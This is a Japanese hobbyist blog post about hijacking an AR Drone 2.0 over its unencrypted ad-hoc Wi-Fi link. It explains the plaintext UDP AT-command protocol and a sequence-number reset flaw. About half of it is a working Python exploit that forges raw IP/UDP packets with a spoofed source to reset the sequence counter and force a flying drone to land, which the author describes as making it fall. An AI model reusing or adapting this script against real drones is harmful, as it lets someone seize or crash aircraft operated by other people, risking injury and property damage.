少し前にドローンをハックした話
少し前にドローンに興味を持ちまして購入したことを思い出しました。
そのドローンはAR Drone2.0というものです。
このドローンはアプリをインストールしてそのアプリから操作できます。
通信はアドホック通信です。
ドローンがビーコンを飛ばしてくるので、スマホでこのドローンに暗号化キーなしで接続しデータリンクを確立できます。
このドローンの通信
このドローンとの通信は暗号化されていませんので、無線パケットを平文で盗聴することができます。
どんなコマンドを送っているかもわかるということですね。
トランスポート層のプロトコルはudpが使われています。
ですのでipアドレスとポート番号とコマンドを偽装すればドローンを乗っ取ることができたのです。
ホビー用ですのでそこまで頑強な対策をしなかったんですかね。
パケットの内容
ドローンのパケットの内容はこんな感じでした。
AT*PCMD_MAG=34093,0,0,0,0,0,0,0
AT*REF=34094,290717696
AT*PCMD_MAGはドローンの場所というか座標を示しています。
34093はシーケンス番号です。コマンドを送信するたびにインクリメントされていきます。
0,0,0,0,0,0,0はドローンの移動情報です。
次のAT*REFですが34093はシーケンス番号は上と同じで、
290717696は着地を表しています。
ちなみに290718208が離陸です
脆弱性
上で説明したシーケンス番号の値に、巨大な値を設定したパケットを数回送信することによって、シーケンス番号を1にリセットすることができます。
そしてそのあとipアドレスとポート番号を偽装したパケットをドローンに向けて送信することで、ドローンと正規の操作者との間に割り込むことができます。
エクスプロイト
その時に作ったエクスプロイトです。
雑に作りましたが、これでもちゃんと機能しました。
これはシーケンス番号を1にリセットしたあと着陸コマンドを送信しています。
手順としてはアプリからドローンへ離陸コマンドを送り、そのあたこのプログラムを実行するとドローンが落っこちてきます。
たったこれだけなんですが、これが意外と面白いんですよね。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 |
import socket import struct from time import sleep TAKEOFF = '290718208' LAND = '290717696' def checksum(data): loop = len(data) // 2 * 2 sum = 0 for i in range(0,loop,2): sum += (ord(data[i+1]) << 8) + ord(data[i]) if len(data) % 2 != 0: sum += ord(data[-1]) while sum >> 16: sum = (sum >> 16) + (sum & 0xffff) sum = (sum >> 8) | (sum << 8 & 0xff00) return ~sum & 0xffff def makeIP(src = '192.168.1.2',dst = '192.168.1.1',dSize=0): ip_v = 4 ip_hl = 5 ip_v_hl = (ip_v <<4)+ ip_hl ip_tos = 0 ip_len = 20 + 8 + dSize ip_id = 1 ip_off = 0 ip_ttl = 64 ip_p = socket.IPPROTO_UDP ip_check = 0 ip_src = socket.inet_aton(src) ip_dst = socket.inet_aton(dst) ip_header = struct.pack("!BBHHHBBH4s4s",ip_v_hl,ip_tos,ip_len,ip_id,ip_off,ip_ttl,ip_p,ip_check,ip_src,ip_dst) ip_check = checksum(ip_header) ip_header = struct.pack("!BBHHHBBH4s4s",ip_v_hl,ip_tos,ip_len,ip_id,ip_off,ip_ttl,ip_p,ip_check,ip_src,ip_dst) return ip_header def makeUdp(src='192.168.1.2',dst='192.168.1.1',sport = 5556,dport=5556,dSize=0,data = ""): source = sport dest = dport len = 8+dSize check = 0 udp_header = struct.pack("!HHHH",source,dest,len,check) pseudo_src = socket.inet_aton(src) pseudo_dst = socket.inet_aton(dst) reserved = 0 protocol = socket.IPPROTO_UDP pseudo_len = 8 + dSize pseudo_ip = struct.pack("!4s4sBBH",pseudo_src,pseudo_dst,reserved,protocol,pseudo_len) check = checksum(pseudo_ip+udp_header+data) udp_header = struct.pack("!HHHH",source,dest,len,check) return udp_header def sendPacket(soc): global TAKEOFF,LAND takeoff_1 = "AT*REF=10000000," + TAKEOFF + "\r" takeoff_2 = "AT*REF=1," + TAKEOFF + "\r" land_1 = "AT*REF=10000000,"+LAND+"\r" land_2 = "AT*REF=1,"+LAND+"\r" payload = "AT*REF=" + str(10000001) + ",290717696\r" command_to = makeIP(dSize=len(payload)) + makeUdp(dSize=len(payload),data = payload) + payload for i in range(5): soc.sendto(command_to,('192.168.1.1',0)) sleep(0.3) break sleep(5) payload = "AT*REF=" + str(1) + ",290717696\r" command_to = makeIP(dSize=len(payload)) + makeUdp(dSize=len(payload),data = payload) + payload soc.sendto(command_to,('192.168.1.1',0)) def makeSocket(): soc = socket.socket(socket.AF_INET,socket.SOCK_RAW,socket.IPPROTO_UDP) soc.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL,1) return soc soc = makeSocket() sendPacket(soc) |